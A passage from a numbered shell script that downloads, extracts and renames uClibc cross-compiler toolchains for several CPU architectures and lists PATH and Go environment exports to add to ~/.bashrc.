https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2 15 | wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2 16 | wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2 17 | 18 | tar -jxf cross-compiler-armv4l.tar.bz2 19 | tar -jxf cross-compiler-i586.tar.bz2 20 | tar -jxf cross-compiler-m68k.tar.bz2 21 | tar -jxf cross-compiler-mips.tar.bz2 22 | tar -jxf cross-compiler-mipsel.tar.bz2 23 | tar -jxf cross-compiler-powerpc.tar.bz2 24 | tar -jxf cross-compiler-sh4.tar.bz2 25 | tar -jxf cross-compiler-sparc.tar.bz2 26 | 27 | rm *.tar.bz2 28 | mv cross-compiler-armv4l armv4l 29 | mv cross-compiler-i586 i586 30 | mv cross-compiler-m68k m68k 31 | mv cross-compiler-mips mips 32 | mv cross-compiler-mipsel mipsel 33 | mv cross-compiler-powerpc powerpc 34 | mv cross-compiler-sh4 sh4 35 | mv cross-compiler-sparc sparc 36 | 37 | 38 | # PUT THESE COMMANDS IN THE FILE ~/.bashrc 39 | 40 | # Cross compiler toolchains 41 | export PATH=$PATH:/etc/xcompile/armv4l/bin 42 | export PATH=$PATH:/etc/xcompile/armv6l/bin 43 | export PATH=$PATH:/etc/xcompile/i586/bin 44 | export PATH=$PATH:/etc/xcompile/m68k/bin 45 | export PATH=$PATH:/etc/xcompile/mips/bin 46 | export PATH=$PATH:/etc/xcompile/mipsel/bin 47 | export PATH=$PATH:/etc/xcompile/powerpc/bin 48 | export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin 49 | export PATH=$PATH:/etc/xcompile/sh4/bin 50 | export PATH=$PATH:/etc/xcompile/sparc/bin 51 | 52 | # Golang 53 | export PATH=$PATH:/usr/local/go/bin 54 | export GOPATH=$HOME/Documents/go 55 | --------------------------------------------------------------------------------